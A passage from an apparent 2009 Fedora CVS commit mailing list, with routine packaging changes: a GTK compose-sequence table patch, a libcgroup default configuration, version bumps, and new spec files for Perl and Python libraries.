  *  Input   : http://www.unicode.org/Public/UNIDATA/UnicodeData.txt
  *
@@ -68,29 +67,30 @@
  */
 
 static const guint16 gtk_compose_seqs_compact[] = {
-GDK_dead_stroke, 138, 226, 235, 235, 235, 
-GDK_Greek_accentdieresis, 235, 239, 239, 239, 239, 
-GDK_dead_grave, 239, 299, 386, 598, 598, 
-GDK_dead_acute, 598, 664, 760, 1036, 1036, 
-GDK_dead_circumflex, 1036, 1176, 1176, 1376, 1376, 
-GDK_dead_tilde, 1376, 1458, 1521, 1661, 1661, 
-GDK_dead_macron, 1661, 1707, 1707, 1779, 1779, 
-GDK_dead_breve, 1779, 1833, 1833, 1857, 1857, 
-GDK_dead_abovedot, 1857, 1887, 1890, 1922, 1922, 
-GDK_dead_diaeresis, 1922, 2010, 2019, 2043, 2043, 
-GDK_dead_abovering, 2043, 2053, 2053, 2053, 2053, 
-GDK_dead_doubleacute, 2053, 2063, 2063, 2063, 2063, 
-GDK_dead_caron, 2063, 2089, 2089, 2097, 2097, 
-GDK_dead_cedilla, 2097, 2111, 2111, 2111, 2111, 
-GDK_dead_ogonek, 2111, 2121, 2121, 2121, 2121, 
-GDK_dead_iota, 2121, 2143, 2242, 2674, 3334, 
-GDK_dead_voiced_sound, 3334, 3380, 3380, 3380, 3380, 
-GDK_dead_semivoiced_sound, 3380, 3390, 3390, 3390, 3390, 
-GDK_dead_belowdot, 3390, 3400, 3400, 3416, 3416, 
-GDK_dead_hook, 3416, 3494, 3494, 3550, 3550, 
-GDK_dead_psili, 3550, 3578, 3578, 3578, 3578, 
-GDK_dead_dasia, 3578, 3610, 3610, 3610, 3610, 
-GDK_Multi_key, 3610, 3610, 9589, 13297, 15157, 
+GDK_dead_stroke, 144, 232, 241, 241, 241, 
+GDK_Greek_accentdieresis, 241, 245, 245, 245, 245, 
+GDK_dead_grave, 245, 307, 394, 606, 606, 
+GDK_dead_acute, 606, 674, 770, 1046, 1046, 
+GDK_dead_circumflex, 1046, 1186, 1186, 1386, 1386, 
+GDK_dead_tilde, 1386, 1470, 1533, 1673, 1673, 
+GDK_dead_macron, 1673, 1719, 1719, 1791, 1791, 
+GDK_dead_breve, 1791, 1845, 1845, 1869, 1869, 
+GDK_dead_abovedot, 1869, 1899, 1902, 1934, 1934, 
+GDK_dead_diaeresis, 1934, 2022, 2031, 2055, 2055, 
+GDK_dead_abovering, 2055, 2065, 2065, 2065, 2065, 
+GDK_dead_doubleacute, 2065, 2075, 2075, 2075, 2075, 
+GDK_dead_caron, 2075, 2121, 2121, 2129, 2129, 
+GDK_dead_cedilla, 2129, 2143, 2143, 2143, 2143, 
+GDK_dead_ogonek, 2143, 2153, 2153, 2153, 2153, 
+GDK_dead_iota, 2153, 2175, 2274, 2706, 3366, 
+GDK_dead_voiced_sound, 3366, 3412, 3412, 3412, 3412, 
+GDK_dead_semivoiced_sound, 3412, 3422, 3422, 3422, 3422, 
+GDK_dead_belowdot, 3422, 3438, 3438, 3454, 3454, 
+GDK_dead_hook, 3454, 3532, 3532, 3588, 3588, 
+GDK_dead_horn, 3588, 3598, 3598, 3598, 3598, 
+GDK_dead_psili, 3598, 3626, 3626, 3626, 3626, 
+GDK_dead_dasia, 3626, 3658, 3658, 3658, 3658, 
+GDK_Multi_key, 3658, 3658, 9658, 13366, 15231, 
 GDK_space, 0x002F, 
 GDK_2, 0x01BB, 
 GDK_A, 0x023A, 
@@ -143,6 +143,7 @@ GDK_Greek_upsilon, 0x03B0,
 GDK_space, 0x0060, 
 GDK_V, 0x01DB, 
 GDK_v, 0x01DC, 
+GDK_nobreakspace, 0x0300, 
 GDK_Abreve, 0x1EB0, 
 GDK_abreve, 0x1EB1, 
 GDK_Emacron, 0x1E14, 
@@ -255,6 +256,7 @@ GDK_Multi_key, GDK_macron, GDK_o, 0x1E51,
 GDK_space, 0x0027, 
 GDK_V, 0x01D7, 
 GDK_v, 0x01D8, 
+GDK_nobreakspace, 0x0301, 
 GDK_Abreve, 0x1EAE, 
 GDK_abreve, 0x1EAF, 
 GDK_Emacron, 0x1E16, 
@@ -510,6 +512,7 @@ GDK_space, 0x007E,
 GDK_less, 0x2272, 
 GDK_equal, 0x2243, 
 GDK_greater, 0x2273, 
+GDK_nobreakspace, 0x0303, 
 GDK_Oacute, 0x1E4C, 
 GDK_Odiaeresis, 0x1E4E, 
 GDK_Uacute, 0x1E78, 
@@ -769,6 +772,16 @@ GDK_parenleft, 0x208D,
 GDK_parenright, 0x208E, 
 GDK_plus, 0x208A, 
 GDK_minus, 0x208B, 
+GDK_0, 0x2080, 
+GDK_1, 0x2081, 
+GDK_2, 0x2082, 
+GDK_3, 0x2083, 
+GDK_4, 0x2084, 
+GDK_5, 0x2085, 
+GDK_6, 0x2086, 
+GDK_7, 0x2087, 
+GDK_8, 0x2088, 
+GDK_9, 0x2088, 
 GDK_equal, 0x208C, 
 GDK_V, 0x01D9, 
 GDK_v, 0x01DA, 
@@ -1103,11 +1116,14 @@ GDK_kana_HI, 0x30D4,
 GDK_kana_FU, 0x30D7, 
 GDK_kana_HE, 0x30DA, 
 GDK_kana_HO, 0x30DD, 
+GDK_space, 0x0323, 
 GDK_plus, 0x2A25, 
 GDK_minus, 0x2A2A, 
 GDK_equal, 0x2A66, 
+GDK_nobreakspace, 0x0323, 
 GDK_Abreve, 0x1EB6, 
 GDK_abreve, 0x1EB7, 
+GDK_dead_belowdot, 0x0323, 
 GDK_Multi_key, GDK_plus, GDK_O, 0x1EE2, 
 GDK_Multi_key, GDK_plus, GDK_U, 0x1EF0, 
 GDK_Multi_key, GDK_plus, GDK_o, 0x1EE3, 
@@ -1165,6 +1181,11 @@ GDK_Multi_key, GDK_asciicircum, GDK_e, 0x1EC3,
 GDK_Multi_key, GDK_asciicircum, GDK_o, 0x1ED5, 
 GDK_Multi_key, GDK_b, GDK_A, 0x1EB2, 
 GDK_Multi_key, GDK_b, GDK_a, 0x1EB3, 
+GDK_space, 0x031B, 
+GDK_nobreakspace, 0x031B, 
+GDK_Utilde, 0x1EEE, 
+GDK_utilde, 0x1EEF, 
+GDK_dead_horn, 0x031B, 
 GDK_Greek_ALPHA, 0x1F08, 
 GDK_Greek_EPSILON, 0x1F18, 
 GDK_Greek_ETA, 0x1F28, 
@@ -1368,7 +1389,7 @@ GDK_apostrophe, GDK_Idiaeresis, 0x1E2E,
 GDK_apostrophe, GDK_Ocircumflex, 0x1ED0, 
 GDK_apostrophe, GDK_Otilde, 0x1E4C, 
 GDK_apostrophe, GDK_Ooblique, 0x01FE, 
-GDK_apostrophe, 0x00DC, 0x01D7, 
+GDK_apostrophe, GDK_Udiaeresis, 0x01D7, 
 GDK_apostrophe, GDK_acircumflex, 0x1EA5, 
 GDK_apostrophe, GDK_aring, 0x01FB, 
 GDK_apostrophe, GDK_ae, 0x01FD, 
@@ -1529,6 +1550,7 @@ GDK_minus, GDK_parenright, 0x007D,
 GDK_minus, GDK_plus, 0x00B1, 
 GDK_minus, GDK_comma, 0x00AC, 
 GDK_minus, GDK_colon, 0x00F7, 
+GDK_minus, GDK_greater, 0x2192, 
 GDK_minus, GDK_A, 0x00C3, 
 GDK_minus, GDK_D, 0x0110, 
 GDK_minus, GDK_E, 0x0112, 
@@ -1603,6 +1625,7 @@ GDK_period, 0x1E62, 0x1E68,
 GDK_period, 0x1E63, 0x1E69, 
 GDK_slash, GDK_slash, 0x005C, 
 GDK_slash, GDK_less, 0x005C, 
+GDK_slash, GDK_equal, 0x2260, 
 GDK_slash, GDK_C, 0x00A2, 
 GDK_slash, GDK_D, 0x0110, 
 GDK_slash, GDK_G, 0x01E4, 
@@ -1682,8 +1705,11 @@ GDK_semicolon, GDK_u, 0x0173,
 GDK_less, GDK_space, 0x02C7, 
 GDK_less, GDK_quotedbl, 0x201C, 
 GDK_less, GDK_apostrophe, 0x2018, 
+GDK_less, GDK_minus, 0x2190, 
 GDK_less, GDK_slash, 0x005C, 
+GDK_less, GDK_3, 0x2665, 
 GDK_less, GDK_less, 0x00AB, 
+GDK_less, GDK_equal, 0x2264, 
 GDK_less, GDK_C, 0x010C, 
 GDK_less, GDK_D, 0x010E, 
 GDK_less, GDK_E, 0x011A, 
@@ -1703,6 +1729,7 @@ GDK_less, GDK_s, 0x0161,
 GDK_less, GDK_t, 0x0165, 
 GDK_less, GDK_z, 0x017E, 
 GDK_less, 0x0338, 0x226E, 
+GDK_equal, GDK_slash, 0x2260, 
 GDK_equal, GDK_C, 0x20AC, 
 GDK_equal, GDK_E, 0x20AC, 
 GDK_equal, GDK_L, 0x00A3, 
@@ -1725,6 +1752,7 @@ GDK_equal, GDK_Cyrillic_U, 0x04F2,
 GDK_greater, GDK_space, 0x005E, 
 GDK_greater, GDK_quotedbl, 0x201D, 
 GDK_greater, GDK_apostrophe, 0x2019, 
+GDK_greater, GDK_equal, 0x2265, 
 GDK_greater, GDK_greater, 0x00BB, 
 GDK_greater, GDK_A, 0x00C2, 
 GDK_greater, GDK_E, 0x00CA, 
@@ -2068,7 +2096,7 @@ GDK_underscore, GDK_Adiaeresis, 0x01DE,
 GDK_underscore, GDK_AE, 0x01E2, 
 GDK_underscore, GDK_Otilde, 0x022C, 
 GDK_underscore, GDK_Odiaeresis, 0x022A, 
-GDK_underscore, 0x00DC, 0x01D5, 
+GDK_underscore, GDK_Udiaeresis, 0x01D5, 
 GDK_underscore, GDK_adiaeresis, 0x01DF, 
 GDK_underscore, GDK_ae, 0x01E3, 
 GDK_underscore, GDK_otilde, 0x022D, 
@@ -2128,7 +2156,7 @@ GDK_grave, GDK_y, 0x1EF3,
 GDK_grave, GDK_Acircumflex, 0x1EA6, 
 GDK_grave, GDK_Ecircumflex, 0x1EC0, 
 GDK_grave, GDK_Ocircumflex, 0x1ED2, 
-GDK_grave, 0x00DC, 0x01DB, 
+GDK_grave, GDK_Udiaeresis, 0x01DB, 
 GDK_grave, GDK_acircumflex, 0x1EA7, 
 GDK_grave, GDK_ecircumflex, 0x1EC1, 
 GDK_grave, GDK_ocircumflex, 0x1ED3, 
@@ -2279,7 +2307,7 @@ GDK_c, GDK_t, 0x0165,
 GDK_c, GDK_u, 0x01D4, 
 GDK_c, GDK_z, 0x017E, 
 GDK_c, GDK_bar, 0x00A2, 
-GDK_c, 0x00DC, 0x01D9, 
+GDK_c, GDK_Udiaeresis, 0x01D9, 
 GDK_c, GDK_udiaeresis, 0x01DA, 
 GDK_c, 0x01B7, 0x01EE, 
 GDK_c, 0x0292, 0x01EF, 
@@ -2517,7 +2545,7 @@ GDK_macron, GDK_Adiaeresis, 0x01DE,
 GDK_macron, GDK_AE, 0x01E2, 
 GDK_macron, GDK_Otilde, 0x022C, 
 GDK_macron, GDK_Odiaeresis, 0x022A, 
-GDK_macron, 0x00DC, 0x01D5, 
+GDK_macron, GDK_Udiaeresis, 0x01D5, 
 GDK_macron, GDK_adiaeresis, 0x01DF, 
 GDK_macron, GDK_ae, 0x01E3, 
 GDK_macron, GDK_otilde, 0x022D, 
@@ -2586,7 +2614,7 @@ GDK_acute, GDK_Idiaeresis, 0x1E2E,
 GDK_acute, GDK_Ocircumflex, 0x1ED0, 
 GDK_acute, GDK_Otilde, 0x1E4C, 
 GDK_acute, GDK_Ooblique, 0x01FE, 
-GDK_acute, 0x00DC, 0x01D7, 
+GDK_acute, GDK_Udiaeresis, 0x01D7, 
 GDK_acute, GDK_acircumflex, 0x1EA5, 
 GDK_acute, GDK_aring, 0x01FB, 
 GDK_acute, GDK_ae, 0x01FD, 
@@ -4320,6 +4348,7 @@ GDK_parenleft, GDK_KP_4, GDK_KP_7, GDK_parenright, 0x32BC,
 GDK_parenleft, GDK_KP_4, GDK_KP_8, GDK_parenright, 0x32BD, 
 GDK_parenleft, GDK_KP_4, GDK_KP_9, GDK_parenright, 0x32BE, 
 GDK_parenleft, GDK_KP_5, GDK_KP_0, GDK_parenright, 0x32BF, 
+GDK_C, GDK_C, GDK_C, GDK_P, 0x262D, 
 GDK_Greek_iota, GDK_apostrophe, GDK_parenleft, GDK_Greek_ALPHA, 0x1F8D, 
 GDK_Greek_iota, GDK_apostrophe, GDK_parenleft, GDK_Greek_ETA, 0x1F9D, 
 GDK_Greek_iota, GDK_apostrophe, GDK_parenleft, GDK_Greek_OMEGA, 0x1FAD, 
-- 
1.6.5.rc2



Index: gtk2.spec
===================================================================
RCS file: /cvs/pkgs/rpms/gtk2/F-12/gtk2.spec,v
retrieving revision 1.419
retrieving revision 1.420
diff -u -p -r1.419 -r1.420
--- gtk2.spec	21 Oct 2009 23:34:45 -0000	1.419
+++ gtk2.spec	22 Oct 2009 06:43:47 -0000	1.420
@@ -17,7 +17,7 @@
 Summary: The GIMP ToolKit (GTK+), a library for creating GUIs for X
 Name: gtk2
 Version: %{base_version}
-Release: 7%{?dist}
+Release: 8%{?dist}
 License: LGPLv2+
 Group: System Environment/Libraries
 Source: http://download.gnome.org/sources/gtk+/2.18/gtk+-%{version}.tar.bz2
@@ -37,6 +37,8 @@ Patch4: fresh-tooltips.patch
 #
 Patch5: zerosize.patch
 
+Patch6: compose-sequences.patch
+
 BuildRequires: atk-devel >= %{atk_version}
 BuildRequires: pango-devel >= %{pango_version}
 BuildRequires: glib2-devel >= %{glib2_version}
@@ -152,6 +154,7 @@ This package contains developer document
 %patch3 -p1 -b .image-size-alloc
 %patch4 -p1 -b .fresh-tooltips
 %patch5 -p1 -b .zerosize
+%patch6 -p1 -b .compose-sequences
 
 %build
 libtoolize --force --copy
@@ -388,6 +391,10 @@ fi
 
 
 %changelog
+* Thu Oct 22 2009 Peter Hutterer <peter.hutterer at redhat.com> - 2.18.3-8
+- compose-sequences.patch: update compose sequences to what's currently in
+  libX11 git.
+
 * Wed Oct 21 2009 Matthias Clasen <mclasen at redhat.com> - 2.18.3-7
 - Try to catch some nm-applet problems by rejecting requests to
   load icons at size 0



From silas at fedoraproject.org  Thu Oct 22 07:05:28 2009
From: silas at fedoraproject.org (Silas Sewell)
Date: Thu, 22 Oct 2009 07:05:28 +0000 (UTC)
Subject: rpms/python-mutagen/devel .cvsignore, 1.11, 1.12 import.log, 1.3,
	1.4 python-mutagen.spec, 1.17, 1.18 sources, 1.11, 1.12
Message-ID: <20091022070528.9BEC011C008C@cvs1.fedora.phx.redhat.com>

Author: silas

Update of /cvs/pkgs/rpms/python-mutagen/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv20591/devel

Modified Files:
	.cvsignore import.log python-mutagen.spec sources 
Log Message:
* Thu Oct 22 2009 Silas Sewell <silas at sewell.ch> - 1.17-1
- Update to 1.17



Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/python-mutagen/devel/.cvsignore,v
retrieving revision 1.11
retrieving revision 1.12
diff -u -p -r1.11 -r1.12
--- .cvsignore	3 Jul 2009 05:02:09 -0000	1.11
+++ .cvsignore	22 Oct 2009 07:05:26 -0000	1.12
@@ -1 +1 @@
-mutagen-1.16.tar.gz
+mutagen-1.17.tar.gz


Index: import.log
===================================================================
RCS file: /cvs/pkgs/rpms/python-mutagen/devel/import.log,v
retrieving revision 1.3
retrieving revision 1.4
diff -u -p -r1.3 -r1.4
--- import.log	3 Jul 2009 05:02:09 -0000	1.3
+++ import.log	22 Oct 2009 07:05:27 -0000	1.4
@@ -1,3 +1,4 @@
 python-mutagen-1_15-1_fc10:HEAD:python-mutagen-1.15-1.fc10.src.rpm:1238937627
 python-mutagen-1_15-2_fc10:HEAD:python-mutagen-1.15-2.fc10.src.rpm:1239346187
 python-mutagen-1_16-1_fc10:HEAD:python-mutagen-1.16-1.fc10.src.rpm:1246597201
+python-mutagen-1_17-1_fc12:HEAD:python-mutagen-1.17-1.fc12.src.rpm:1256194380


Index: python-mutagen.spec
===================================================================
RCS file: /cvs/pkgs/rpms/python-mutagen/devel/python-mutagen.spec,v
retrieving revision 1.17
retrieving revision 1.18
diff -u -p -r1.17 -r1.18
--- python-mutagen.spec	26 Jul 2009 20:42:43 -0000	1.17
+++ python-mutagen.spec	22 Oct 2009 07:05:27 -0000	1.18
@@ -1,8 +1,8 @@
 %{!?python_sitelib: %global python_sitelib %(%{__python} -c "from distutils.sysconfig import get_python_lib; print get_python_lib()")}
 
 Name:           python-mutagen
-Version:        1.16
-Release:        2%{?dist}
+Version:        1.17
+Release:        1%{?dist}
 Summary:        Mutagen is a Python module to handle audio metadata
 
 Group:          Development/Languages
@@ -48,6 +48,9 @@ rm -rf %{buildroot}
 %{python_sitelib}/mutagen-%{version}-*.egg-info
 
 %changelog
+* Thu Oct 22 2009 Silas Sewell <silas at sewell.ch> - 1.17-1
+- Update to 1.17
+
 * Sun Jul 26 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 1.16-2
 - Rebuilt for https://fedoraproject.org/wiki/Fedora_12_Mass_Rebuild
 


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/python-mutagen/devel/sources,v
retrieving revision 1.11
retrieving revision 1.12
diff -u -p -r1.11 -r1.12
--- sources	3 Jul 2009 05:02:09 -0000	1.11
+++ sources	22 Oct 2009 07:05:27 -0000	1.12
@@ -1 +1 @@
-feea89bebee5816aed911f33a2171559  mutagen-1.16.tar.gz
+c24c7a6eda29dffdec9bef83f177e3d4  mutagen-1.17.tar.gz



From jsafrane at fedoraproject.org  Thu Oct 22 07:25:26 2009
From: jsafrane at fedoraproject.org (=?utf-8?b?SmFuIMWgYWZyw6FuZWs=?=)
Date: Thu, 22 Oct 2009 07:25:26 +0000 (UTC)
Subject: rpms/libcgroup/devel fedora-config.patch,NONE,1.1
Message-ID: <20091022072526.A1FC111C008C@cvs1.fedora.phx.redhat.com>

Author: jsafrane

Update of /cvs/pkgs/rpms/libcgroup/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv27341

Added Files:
	fedora-config.patch 
Log Message:
Change the default configuration to mount everything to /cgroup - libvirtd needs the controllers mounted somewhere.

fedora-config.patch:
 cgconfig.conf |   48 +++++++++++++-----------------------------------
 cgrules.conf  |    4 +++-
 2 files changed, 16 insertions(+), 36 deletions(-)

--- NEW FILE fedora-config.patch ---
Fedora specific configuration - we want to mount all controllers by default for libvirt.

diff -up libcgroup-0.34/samples/cgconfig.conf.orig libcgroup-0.34/samples/cgconfig.conf
--- libcgroup-0.34/samples/cgconfig.conf.orig	2009-03-04 10:40:06.000000000 +0100
+++ libcgroup-0.34/samples/cgconfig.conf	2009-10-19 10:17:37.000000000 +0200
@@ -10,39 +10,17 @@
 #  WITHOUT ANY WARRANTY; without even the implied warranty of
 #  MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
 #
-#group daemons/www {
-#	perm {
-#		task {
-#			uid = root;
-#			gid = webmaster;
-#		}
-#		admin {
-#			uid = root;
-#			gid = root;
-#		}
-#	}
-#	cpu {
-#		cpu.shares = 1000;
-#	}
-#}
+# See man cgconfig.conf for further details.
 #
-#group daemons/ftp {
-#	perm {
-#		task {
-#			uid = root;
-#			gid = ftpmaster;
-#		}
-#		admin {
-#			uid = root;
-#			gid = root;
-#		}
-#	}
-#	cpu {
-#		cpu.shares = 500;
-#	}
-#}
-#
-#mount {
-#	cpu = /mnt/cgroups/cpu;
-#	cpuacct = /mnt/cgroups/cpuacct;
-#}
+# By default, mount all controllers to /cgroup/<controller>
+
+mount {
+	cpuset	= /cgroup/cpuset;
+	cpu	= /cgroup/cpu;
+	cpuacct	= /cgroup/cpuacct;
+	memory	= /cgroup/memory;
+	devices	= /cgroup/devices;
+	freezer	= /cgroup/freezer;
+	net_cls	= /cgroup/net_cls;
+}
+
diff -up libcgroup-0.34/samples/cgrules.conf.orig libcgroup-0.34/samples/cgrules.conf
--- libcgroup-0.34/samples/cgrules.conf.orig	2009-06-29 13:21:11.000000000 +0200
+++ libcgroup-0.34/samples/cgrules.conf	2009-10-19 10:14:00.000000000 +0200
@@ -47,5 +47,7 @@
 #peter	       cpu		test1/
 #%	       memory		test2/
 #@root	    	*		admingroup/
-#*		*		default/
+
+# As default rule, all processes belong to root group:
+*		*		/
 # End of file



From mmaslano at fedoraproject.org  Thu Oct 22 07:28:52 2009
From: mmaslano at fedoraproject.org (=?utf-8?b?TWFyY2VsYSBNYcWhbMOhxYhvdsOh?=)
Date: Thu, 22 Oct 2009 07:28:52 +0000 (UTC)
Subject: rpms/perl-MooseX-CascadeClearing/devel
	MooseX-CascadeClearing-autoinstall_off.patch, NONE,
	1.1 .cvsignore, 1.1, 1.2 sources, 1.1, 1.2
Message-ID: <20091022072852.62C8C11C008C@cvs1.fedora.phx.redhat.com>

Author: mmaslano

Update of /cvs/pkgs/rpms/perl-MooseX-CascadeClearing/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv28067

Modified Files:
	.cvsignore sources 
Added Files:
	MooseX-CascadeClearing-autoinstall_off.patch 
Log Message:
* Tue Oct 20 2009 Marcela Ma?l??ov? <mmaslano at redhat.com> 0.02-1
- Specfile autogenerated by cpanspec 1.78.


MooseX-CascadeClearing-autoinstall_off.patch:
 Makefile.PL |    2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

--- NEW FILE MooseX-CascadeClearing-autoinstall_off.patch ---
diff -up MooseX-CascadeClearing-0.02/Makefile.PL.old MooseX-CascadeClearing-0.02/Makefile.PL
--- MooseX-CascadeClearing-0.02/Makefile.PL.old	2009-09-17 17:31:50.000000000 +0200
+++ MooseX-CascadeClearing-0.02/Makefile.PL	2009-10-20 09:54:58.927727013 +0200
@@ -16,7 +16,7 @@ test_requires 'Test::More';
 
 extra_tests;
 auto_provides;
-auto_install;
+#auto_install;
 
 WriteAll;
 


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/perl-MooseX-CascadeClearing/devel/.cvsignore,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- .cvsignore	22 Oct 2009 04:11:35 -0000	1.1
+++ .cvsignore	22 Oct 2009 07:28:51 -0000	1.2
@@ -0,0 +1 @@
+MooseX-CascadeClearing-0.02.tar.gz


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/perl-MooseX-CascadeClearing/devel/sources,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- sources	22 Oct 2009 04:11:35 -0000	1.1
+++ sources	22 Oct 2009 07:28:52 -0000	1.2
@@ -0,0 +1 @@
+749f1c4e3cdb7e3bfa10e8c357f05ccd  MooseX-CascadeClearing-0.02.tar.gz



From mmaslano at fedoraproject.org  Thu Oct 22 07:30:16 2009
From: mmaslano at fedoraproject.org (=?utf-8?b?TWFyY2VsYSBNYcWhbMOhxYhvdsOh?=)
Date: Thu, 22 Oct 2009 07:30:16 +0000 (UTC)
Subject: rpms/perl-MooseX-CascadeClearing/devel
	perl-MooseX-CascadeClearing.spec, NONE, 1.1
Message-ID: <20091022073016.331C711C02A0@cvs1.fedora.phx.redhat.com>

Author: mmaslano

Update of /cvs/pkgs/rpms/perl-MooseX-CascadeClearing/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv29039

Added Files:
	perl-MooseX-CascadeClearing.spec 
Log Message:
* Tue Oct 20 2009 Marcela Ma?l??ov? <mmaslano at redhat.com> 0.02-1
- Specfile autogenerated by cpanspec 1.78.



--- NEW FILE perl-MooseX-CascadeClearing.spec ---
Name:           perl-MooseX-CascadeClearing
Version:        0.02
Release:        1%{?dist}
Summary:        Cascade clearer actions across attributes
License:        LGPLv2+
Group:          Development/Libraries
URL:            http://search.cpan.org/dist/MooseX-CascadeClearing/
Source0:        http://www.cpan.org/authors/id/R/RS/RSRCHBOY/MooseX-CascadeClearing-%{version}.tar.gz
Patch0:         MooseX-CascadeClearing-autoinstall_off.patch
BuildRoot:      %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
BuildArch:      noarch
BuildRequires:  perl(ExtUtils::MakeMaker)
BuildRequires:  perl(Moose) >= 0.88
BuildRequires:  perl(namespace::autoclean) >= 0.08
BuildRequires:  perl(Test::More)
Requires:       perl(Moose) >= 0.88
Requires:       perl(namespace::autoclean) >= 0.08
Requires:       perl(:MODULE_COMPAT_%(eval "`%{__perl} -V:version`"; echo $version))

%description
MooseX::CascadeClearing does the necessary metaclass fiddling to allow an
clearing one attribute to be cascaded through to other attributes as well,
calling their clearers.

%prep
%setup -q -n MooseX-CascadeClearing-%{version}
%patch0 -p1

%build
%{__perl} Makefile.PL INSTALLDIRS=vendor
make %{?_smp_mflags}

%install
rm -rf $RPM_BUILD_ROOT

make pure_install PERL_INSTALL_ROOT=$RPM_BUILD_ROOT

find $RPM_BUILD_ROOT -type f -name .packlist -exec rm -f {} \;
find $RPM_BUILD_ROOT -depth -type d -exec rmdir {} 2>/dev/null \;

%{_fixperms} $RPM_BUILD_ROOT/*

%check
make test

%clean
rm -rf $RPM_BUILD_ROOT

%files
%defattr(-,root,root,-)
%doc Changes README
%{perl_vendorlib}/*
%{_mandir}/man3/*

%changelog
* Tue Oct 20 2009 Marcela Ma?l??ov? <mmaslano at redhat.com> 0.02-1
- Specfile autogenerated by cpanspec 1.78.



From jussilehtola at fedoraproject.org  Thu Oct 22 07:50:42 2009
From: jussilehtola at fedoraproject.org (Jussi Lehtola)
Date: Thu, 22 Oct 2009 07:50:42 +0000 (UTC)
Subject: rpms/python-mpmath/devel import.log, NONE, 1.1 python-mpmath.spec, 
	NONE, 1.1 .cvsignore, 1.1, 1.2 sources, 1.1, 1.2
Message-ID: <20091022075042.83C5D11C02A0@cvs1.fedora.phx.redhat.com>

Author: jussilehtola

Update of /cvs/pkgs/rpms/python-mpmath/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv2508/devel

Modified Files:
	.cvsignore sources 
Added Files:
	import.log python-mpmath.spec 
Log Message:
Imported in Fedora.



--- NEW FILE import.log ---
python-mpmath-0_13-5_fc11:HEAD:python-mpmath-0.13-5.fc11.src.rpm:1256197771


--- NEW FILE python-mpmath.spec ---
%{!?python_sitelib: %global python_sitelib %(%{__python} -c "from distutils.sysconfig import get_python_lib; print get_python_lib()")}

Name:		python-mpmath
Version:	0.13
Release:	5%{?dist}
Summary:	A pure Python library for multiprecision floating-point arithmetic
Group:		Applications/Engineering
License:	BSD
URL:		http://code.google.com/p/mpmath/
Source0:	http://mpmath.googlecode.com/files/mpmath-%{version}.tar.gz
BuildRoot:	%(mktemp -ud %{_tmppath}/%{name}-%{version}-%{release}-XXXXXX)
BuildArch:	noarch

BuildRequires:	python-devel
# For building documentation
BuildRequires:	dvipng
BuildRequires:	python-sphinx
BuildRequires:	tex(latex)
# For running test
BuildRequires:	python-py


%description
Mpmath is a pure-Python library for multiprecision floating-point arithmetic.
It provides an extensive set of transcendental functions, unlimited exponent
sizes, complex numbers, interval arithmetic, numerical integration and
differentiation, root-finding, linear algebra, and much more. Almost any
calculation can be performed just as well at 10-digit or 1000-digit precision,
and in many cases mpmath implements asymptotically fast algorithms that scale
well for extremely high precision work. If available, mpmath will (optionally)
use gmpy to speed up high precision operations.

If you require plotting capabilities in mpmath, install python-matplotlib.

%package doc
Summary:	HTML documentation for %{name}
Group:		Documentation
Requires:	%{name} = %{version}-%{release}

%description doc
This package contains the HTML documentation for %{name}.


%prep
%setup -q -n mpmath-%{version}
# Convert line encodings 
for doc in LICENSE CHANGES PKG-INFO README mpmath/tests/runtests.py; do
 sed "s|\r||g" $doc > $doc.new && \
 touch -r $doc $doc.new && \
 mv $doc.new $doc
done
find doc -name *.txt -exec sed -i "s|\r||g" {} \;

# Get rid of unnecessary shebangs
for lib in mpmath/elliptic.py mpmath/tests/runtests.py; do
 sed '/#!\/usr\/bin\/env/d' $lib > $lib.new && \
 touch -r $lib $lib.new && \
 mv $lib.new $lib
done

%build
python setup.py build
# Build documentation
cd doc
python build.py 

%install
rm -rf %{buildroot}
python setup.py install -O1 --skip-build --root %{buildroot}

%check
cd build/lib/mpmath/tests/
py.test

%clean
rm -rf %{buildroot}

%files
%defattr(-,root,root,-)
%doc CHANGES LICENSE PKG-INFO README
%{python_sitelib}/mpmath/
%{python_sitelib}/mpmath-%{version}-*.egg-info

%files doc
%defattr(-,root,root,-)
%doc doc/build/*

%changelog
* Tue Oct 06 2009 Jussi Lehtola <jussilehtola at fedoraproject.org> - 0.13-5
- Removed BR: python-matplotlib, since it didn't actually help in the missing
  image problem.
- Added versioned require in -doc.

* Tue Oct 06 2009 Jussi Lehtola <jussilehtola at fedoraproject.org> - 0.13-4
- Replaced R: python-matplotlib with a comment in %%description.
- Added missing BR: python-matplotlib.

* Tue Oct 06 2009 Jussi Lehtola <jussilehtola at fedoraproject.org> - 0.13-3
- Added missing BR: dvipng.
- Added %%check phase.

* Wed Sep 23 2009 Jussi Lehtola <jussilehtola at fedoraproject.org> - 0.13-2
- Add missing BR: tex(latex).

* Wed Sep 23 2009 Jussi Lehtola <jussilehtola at fedoraproject.org> - 0.13-1
- First release.


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/python-mpmath/devel/.cvsignore,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- .cvsignore	22 Oct 2009 04:47:03 -0000	1.1
+++ .cvsignore	22 Oct 2009 07:50:40 -0000	1.2
@@ -0,0 +1 @@
+mpmath-0.13.tar.gz


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/python-mpmath/devel/sources,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- sources	22 Oct 2009 04:47:03 -0000	1.1
+++ sources	22 Oct 2009 07:50:40 -0000	1.2
@@ -0,0 +1 @@
+ed7812cc7470c0b8fbbca76a2ff02075  mpmath-0.13.tar.gz



From rjones at fedoraproject.org  Thu Oct 22 08:11:25 2009
